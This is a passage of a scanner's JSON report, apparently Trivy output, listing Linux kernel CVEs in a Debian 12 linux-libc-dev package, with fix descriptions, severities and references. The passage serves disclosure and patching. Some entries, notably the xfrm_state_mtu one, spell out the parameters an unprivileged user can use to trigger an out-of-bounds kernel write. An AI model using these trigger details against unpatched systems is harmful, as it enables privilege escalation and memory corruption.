"https://git.kernel.org/stable/c/8e59d4d0dcde2dfb07a7ef855c849a2a0560aa57", "https://git.kernel.org/stable/c/a0ffc6081a8b27082dd5eae5aa1e3f59bbecf06c", "https://git.kernel.org/stable/c/a7f4eefb6e1458431eef9fa20fb363320d185f76", "https://git.kernel.org/stable/c/ecf45080a4d3f4526cacb8b14060fe3b49a6913b", "https://linux.oracle.com/cve/CVE-2026-64002.html", "https://linux.oracle.com/errata/ELSA-2026-68531.html", "https://lore.kernel.org/linux-cve-announce/2026071907-CVE-2026-64002-b8fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64002", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64002" ], "PublishedDate": "2026-07-19T16:17:39.807Z", "LastModifiedDate": "2026-10-19T21:17:17.993Z" }, { "VulnerabilityID": "CVE-2026-64007", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64007", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5bf5e699394ed76b043f3a2d2104d54403ef3f6689c8b1f4a7134a4fb9b28f0c", "Title": "kernel: netfilter: synproxy: refresh tcphdr after skb_ensure_writable", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: synproxy: refresh tcphdr after skb_ensure_writable\n\nsynproxy_tstamp_adjust() rewrites the TCP timestamp option in place\nand then patches the TCP checksum via inet_proto_csum_replace4() on\nthe caller-supplied tcphdr pointer. Both ipv4_synproxy_hook() and\nipv6_synproxy_hook() obtain that pointer with skb_header_pointer()\nbefore calling in, so it may either alias skb-\u003ehead directly or\npoint at the caller's on-stack _tcph buffer.\n\nBetween obtaining the pointer and using it, the function calls\nskb_ensure_writable(skb, optend), which on a cloned or non-linear\nskb invokes pskb_expand_head() and frees the old skb-\u003ehead. After\nthat point the cached th is stale:\n\n caller (ipv[46]_synproxy_hook)\n th = skb_header_pointer(skb, ..., \u0026_tcph)\n synproxy_tstamp_adjust(skb, protoff, th, ...)\n skb_ensure_writable(skb, optend)\n pskb_expand_head() /* kfree(old skb-\u003ehead) */\n ...\n inet_proto_csum_replace4(\u0026th-\u003echeck, ...)\n /* writes into freed head, or\n into the caller's stack copy\n leaving the on-wire checksum\n stale */\n\nThe option bytes are written through skb-\u003edata and are fine; only\nthe checksum update goes through th and so lands in the wrong\nplace. The result is either a write into freed slab memory or a\npacket leaving with a checksum that does not match its payload.\n\nFix by re-deriving th from skb-\u003edata + protoff immediately after\nskb_ensure_writable() succeeds, so the subsequent checksum update\ntargets the linear, writable header.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64007", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/92170e6afe927ab2792a3f71902845789c8e31b1%20%287.1-rc6%29", "https://git.kernel.org/stable/c/92170e6afe927ab2792a3f71902845789c8e31b1", "https://git.kernel.org/stable/c/9902a1058992de5d95656b64a3bd95c077f7ba2c", "https://git.kernel.org/stable/c/a91887a5b6ee4b98dfbf1db657ed2b879430149e", "https://git.kernel.org/stable/c/af2c22ccb1f621aff487ff47a040e38e058541e7", "https://git.kernel.org/stable/c/c7f945f7da097245a2f8ed7775ce48421047ee96", "https://git.kernel.org/stable/c/d3019c61799adc21811af4b521f11f3dc77f8e04", "https://git.kernel.org/stable/c/dd206819f210522579010d889d45a9530bb494bc", "https://git.kernel.org/stable/c/f0fea2b6d5453a11ad11713bbf37561b9b3a7edf", "https://linux.oracle.com/cve/CVE-2026-64007.html", "https://linux.oracle.com/errata/ELSA-2026-66000-0.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-64007-5e61@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64007", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64007" ], "PublishedDate": "2026-07-19T16:17:40.407Z", "LastModifiedDate": "2026-10-19T21:17:18.75Z" }, { "VulnerabilityID": "CVE-2026-64009", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64009", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5b7589bc2f2c9ebcd18366062256bd1503587bf62f2d2687ba22502c902adfbe", "Title": "kernel: xfrm: Check for underflow in xfrm_state_mtu", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: Check for underflow in xfrm_state_mtu\n\nLeo Lin reported OOB write issue in esp component:\n\n xfrm_state_mtu() returns u32 but performs its arithmetic in unsigned\n modulo-2^32 space using an attacker-influenced \"header_len + authsize +\n net_adj\" subtracted from a small \"mtu\" argument. A nobody user can\n install an IPv4 ESP tunnel SA with a large authentication key\n (XFRMA_ALG_AUTH_TRUNC, e.g. hmac(sha512), 64-byte key, 64-byte trunc),\n configure a small interface MTU (68 bytes), and set XFRMA_TFCPAD to a\n large value. When a single UDP datagram is then sent through the\n tunnel, xfrm_state_mtu() underflows to a near-2^32 value, and\n esp_output() consumes it as a signed int via:\n\n padto = min(x-\u003etfcpad, xfrm_state_mtu(x, mtu_cached))\n esp.tfclen = padto - skb-\u003elen (assigned to int)\n\n esp.tfclen ends up negative (e.g. -207). It is sign-extended to size_t\n when passed to memset() inside esp_output_fill_trailer(), producing a\n ~16 EB write of zeroes at skb_tail_pointer(skb). KASAN logs it as\n \"Write of size 18446744073709551537 at addr ffff888...\".\n\nCheck for underflow and return 1. This causes the sendmsg attempt to\nfail with ENETUNREACH.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-64009", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://git.kernel.org/linus/742b04d0550b0ec89dcbc99537ec88653bd1ad90%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1021d2877b689a648b27815c854557a917122e93", "https://git.kernel.org/stable/c/2a41b1b31c61c52b972278ce1732a1443f5e89ed", "https://git.kernel.org/stable/c/3db50ceeacb52806d8fe86fb1dfe944df0b9f789", "https://git.kernel.org/stable/c/742b04d0550b0ec89dcbc99537ec88653bd1ad90", "https://git.kernel.org/stable/c/8014f70c4e6e5ab101ae3860a614e65e988372e3", "https://git.kernel.org/stable/c/820e501be8aee4b365d218d83227b314309c5fda", "https://git.kernel.org/stable/c/82ac903e0b519849647657b8c48d21237ada06a2", "https://git.kernel.org/stable/c/fccd685b32df5aaf6bad4381eeda216468e283f0", "https://linux.oracle.com/cve/CVE-2026-64009.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-64009-4587@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64009", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64009" ], "PublishedDate": "2026-07-19T16:17:40.663Z", "LastModifiedDate": "2026-10-19T21:17:18.95Z" }, { "VulnerabilityID": "CVE-2026-64014", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64014", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ad305548469601951462612b236274723723ac8ab82fcd0a9c47022e0a446c5a", "Title": "kernel: Input: usbtouchscreen - clamp NEXIO data_len/x_len to URB buffer size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: usbtouchscreen - clamp NEXIO data_len/x_len to URB buffer size\n\nnexio_read_data() pulls data_len and x_len from a packed __be16 header\nin the device's interrupt packet and then walks packet-\u003edata[0..x_len)\nand packet-\u003edata[x_len..data_len) comparing each byte against a\nthreshold.\n\nBoth fields are 16-bit on the wire (max 65535). The existing\nadjustments shave at most 0x100 / 0x80 off, so the loop bound can still\nreach roughly 0xfeff. The URB transfer buffer for NEXIO is rept_size\n(1024) bytes from usb_alloc_coherent(), with the first 7 occupied by the\npacked header — so packet-\u003edata[] has 1017 valid bytes. read_data()\ncallbacks are not given urb-\u003eactual_length, and nothing else bounds the\nwalk.\n\nA device that lies about its length can get a ~64 KiB out-of-bounds read\npast the coherent DMA allocation. The first index whose byte exceeds\nNEXIO_THRESHOLD lands in begin_x / begin_y and from there into the\nreported touch coordinates, so adjacent kernel memory contents leak to\nuserspace as ABS_X / ABS_Y events. Far enough out, the read can also\nhit an unmapped page and fault.\n\nFix this all by clamping data_len to the buffer's data[] capacity and\nx_len to data_len.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 5.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64014", "https://git.kernel.org/linus/2905281cbda52ec9df540113b35b835feb5fafd3%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0ca809ea8e0355299266c46e5f1755040aa8dcf3", "https://git.kernel.org/stable/c/103d2de9f505f56da173e43f12dba62f92620278", "https://git.kernel.org/stable/c/2905281cbda52ec9df540113b35b835feb5fafd3", "https://git.kernel.org/stable/c/45c829e5eb3b974282bae50b7cca2cc891f74f0b", "https://git.kernel.org/stable/c/7585b6aa55d8ac85ad22f522e1059f93507727b6", "https://git.kernel.org/stable/c/95f47331dfde243f93e679ce70bd0c24b37c683d", "https://git.kernel.org/stable/c/d883312061ccde8c536595998aaf687ec070077c", "https://git.kernel.org/stable/c/e7cdcb266ba06d8480809b78ab8bb2bf8ff51ccb", "https://kernelcve.org/list/?q=CVE-2026-64014", "https://linux.oracle.com/cve/CVE-2026-64014.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071909-CVE-2026-64014-d94b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64014", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64014" ], "PublishedDate": "2026-07-19T16:17:41.32Z", "LastModifiedDate": "2026-10-24T20:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-64017", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64017", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b2c8983a832f7cc9e633ac3602295815b7dbb1c11427eb5e71a8c9ceb712046d", "Title": "kernel: blk-mq: pop cached request if it is usable", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: pop cached request if it is usable\n\nWhen submitting a bio to blk-mq, if the task should sleep after peeking\na cached request, but before it pops it, the plug flushes and calls\nblk_mq_free_plug_rqs, freeing the cached_rqs. This creates a\nuse-after-free bug. Fix this by popping the cached request before any\npossible blocking calls if it is suitable for use.\n\nPopping this request first holds a queue reference, so avoid any\nserialization races with queue freezes and can safely proceed with\ndispatching that request to the driver. This potentially increases a\ntiming window from when a driver wants to freeze its queue to when\nrequests stop being dispatched. That scenario is off the fast path\nthough, and drivers need to appropriately handle requests during a\nfreeze request anyway.\n\nThe downside is the popped element needs to be individually freed when\nwe performed a bio plug merge. The cached request would have had to be\nfreed later anyway, but this patch does it inline with building the plug\nlist instead of after flushing it.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47040", "https://access.redhat.com/security/cve/CVE-2026-64017", "https://bugzilla.redhat.com/2400057", "https://bugzilla.redhat.com/2432666", "https://bugzilla.redhat.com/2492413", "https://bugzilla.redhat.com/2493728", "https://bugzilla.redhat.com/2502449", "https://bugzilla.redhat.com/show_bug.cgi?id=2400057", "https://bugzilla.redhat.com/show_bug.cgi?id=2432666", "https://bugzilla.redhat.com/show_bug.cgi?id=2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2493728", "https://bugzilla.redhat.com/show_bug.cgi?id=2502449", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39797", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52973", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64017", "https://errata.almalinux.org/9/ALSA-2026-47040.html", "https://errata.rockylinux.org/RLSA-2026:47040", "https://git.kernel.org/linus/dc278e9bf2b9513a763353e6b9cc21e0f532954e%20%287.1-rc5%29", "https://git.kernel.org/stable/c/23d8ea1e303b5f32d883757a4a707e791dbc9808", "https://git.kernel.org/stable/c/388468f7e7d1eab092cf2a39fdfb502e52019ec6", "https://git.kernel.org/stable/c/97e2d08de282ef76f84ab4ccd00f1acb3f5f999e", "https://git.kernel.org/stable/c/a3fefe65b94b095c9b66420ee0ecabd9fc2e1568", "https://git.kernel.org/stable/c/dc278e9bf2b9513a763353e6b9cc21e0f532954e", "https://git.kernel.org/stable/c/f122d9968d730c2e71d5e59d0d8b7d67acb5b3bb", "https://linux.oracle.com/cve/CVE-2026-64017.html", "https://linux.oracle.com/errata/ELSA-2026-57251.html", "https://lore.kernel.org/linux-cve-announce/2026071900-CVE-2026-64017-c8ee@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64017", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64017" ], "PublishedDate": "2026-07-19T16:17:41.68Z", "LastModifiedDate": "2026-10-30T13:19:25.443Z" }, { "VulnerabilityID": "CVE-2026-64018", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64018", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5f0800ce4b6a40fd843eab0418a9126a8b9c40bfbd5d15cbc51bda89d9dbb5ea", "Title": "kernel: net: mana: validate rx_req_idx to prevent out-of-bounds array access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mana: validate rx_req_idx to prevent out-of-bounds array access\n\nIn mana_hwc_rx_event_handler(), rx_req_idx is derived from\nsge-\u003eaddress in DMA-coherent memory. In Confidential VMs\n(SEV-SNP/TDX), this memory is shared unencrypted and HW can modify\nWQE contents at any time. No bounds check exists on rx_req_idx,\nwhich can lead to an out-of-bounds access into reqs[].\n\nAdd bounds check on rx_req_idx in mana_hwc_rx_event_handler() before\nusing it to index the reqs[] array.", "Severity": "HIGH", "CweIDs": [ "CWE-129", "CWE-125" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H", "V3Score": 8.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64018", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", 